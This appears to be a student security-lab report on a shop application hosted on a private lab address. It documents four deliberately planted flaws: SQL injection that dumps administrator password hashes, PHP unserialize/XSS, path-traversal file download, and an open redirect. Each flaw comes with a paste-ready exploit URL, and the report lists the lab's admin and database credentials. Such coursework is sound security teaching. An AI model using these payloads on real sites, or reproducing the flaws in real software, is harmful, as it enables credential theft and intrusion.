BUG 1

- Class of vulnerabilities : **SQL INJECTION**
- Attacker's goal : retrieve the username and the hashed password of an administrator
- Exploit verification : the web page will show the username of the admin and the hashed password instead of the usual informations (the rest of the informations will be number)
- The exploit is **automatable** : sample malicious URL link
- Steps to exploit the vulnerabilities
  - The vulnerable web page located at https://192.168.56.115/catalog/product_reviews_info.php Please copy the malicious link below into the URL address bar https://192.168.56.115/catalog/product_reviews_info.php?products_id=19&reviews_id=-1%27%20UNION%20SELECT%20user_password,user_name,3,4,5,6,7,8,9,10,11,12%20FROM%20administrators%20--%20%27
- Specify how to run attack automation tool (if applicable)
  - We prepare an URL that the attacker needs to run in his browser. The URL is as follows :
  - https://192.168.56.115/catalog/product_reviews_info.php?products_id=19&reviews_id=-1%27%20UNION%20SELECT%20user_password,user_name,3,4,5,6,7,8,9,10,11,12%20FROM%20administrators%20--%20%27
- Set up a malicious web application as a bait (if applicable)
  - We didn't prepare a malicious web application as it is not necessary in our case.
- State any secrets you keep in your web application (if applicable)
  - Below are secret information we are using in our application
    - Administrator account : student | | student
    - Database account : root|| student

BUG 2

- Class of vulnerabilities : **PHP INJECTION**
- Attacker's goal : Inject a serialized PHP string in the product_info page that will be echo
- Exploit verification : an alert will show indicating that the injected php string has been unserialized and echo
- The exploit is **automatable** : sample malicious URL link
- Steps to exploit the vulnerabilities
  - The vulnerable web page located at https://192.168.56.115/catalog/product_info.php Please copy the malicious link below into the URL address bar
  - https://192.168.56.115/catalog/product_info.php?products_id=5&data=s%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3B
- Specify how to run attack automation tool (if applicable)
  - We prepare an URL that the attacker needs to run in his browser. The URL is as follows :
  - https://192.168.56.115/catalog/product_info.php?products_id=5&data=s%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3B
- Set up a malicious web application as a bait (if applicable)
  - We didn't prepare a malicious web application as it is not necessary in our case.
- State any secrets you keep in your web application (if applicable)
  - Below are secret information we are using in our application
    - Administrator account : student | | student
    - Database account : root|| student

BUG 3

- Class of vulnerabilities : **Local File Inclusion**
- Attacker's goal : Download a php code file from the server
- Exploit verification : The login.php file will be downloaded from the web application
- The exploit is **automatable** : sample malicious URL link
- Steps to exploit the vulnerabilities
    - The vulnerable web page located at https://192.168.56.115/catalog/download.php Please copy the malicious link below into the URL address bar
    - https://192.168.56.115/catalog/download.php?order=1&id=1&filename=/../login.php
- Specify how to run attack automation tool (if applicable)
    - We prepare an URL that the attacker needs to run in his browser. The URL is as follows :
    - https://192.168.56.115/catalog/download.php?order=1&id=1&filename=/../login.php
- Set up a malicious web application as a bait (if applicable)
    - We didn't prepare a malicious web application as it is not necessary in our case.
- State any secrets you keep in your web application (if applicable)
    - Below are secret information we are using in our application
        - Administrator account : student | | student
        - Database account : root|| student

BUG 4

- Class of vulnerabilities : **Unvalidated URL redirection**
- Attacker's goal : Redirect an user to a malicious website
- Exploit verification : The user A will redirected to a malicious website
- The exploit is **automatable** : sample malicious URL link
- Steps to exploit the vulnerabilities
    - The vulnerable web page located at https://192.168.56.115/catalog/redirect.php Please copy the malicious link below into the URL address bar
    - https://192.168.56.115/catalog/redirect.php?action=url&goto=google.fr
- Specify how to run attack automation tool (if applicable)
    - We prepare an URL on which the attacker needs to run it from URL address bar of user A's browser. The URL is as follows :
    - https://192.168.56.115/catalog/redirect.php?action=url&goto=google.fr
- Set up a malicious web application as a bait (if applicable)
    - We didn't prepare a malicious web application as it is not necessary in our case.
- State any secrets you keep in your web application (if applicable)
    - Below are secret information we are using in our application
        - Administrator account : student | | student
        - Database account : root|| student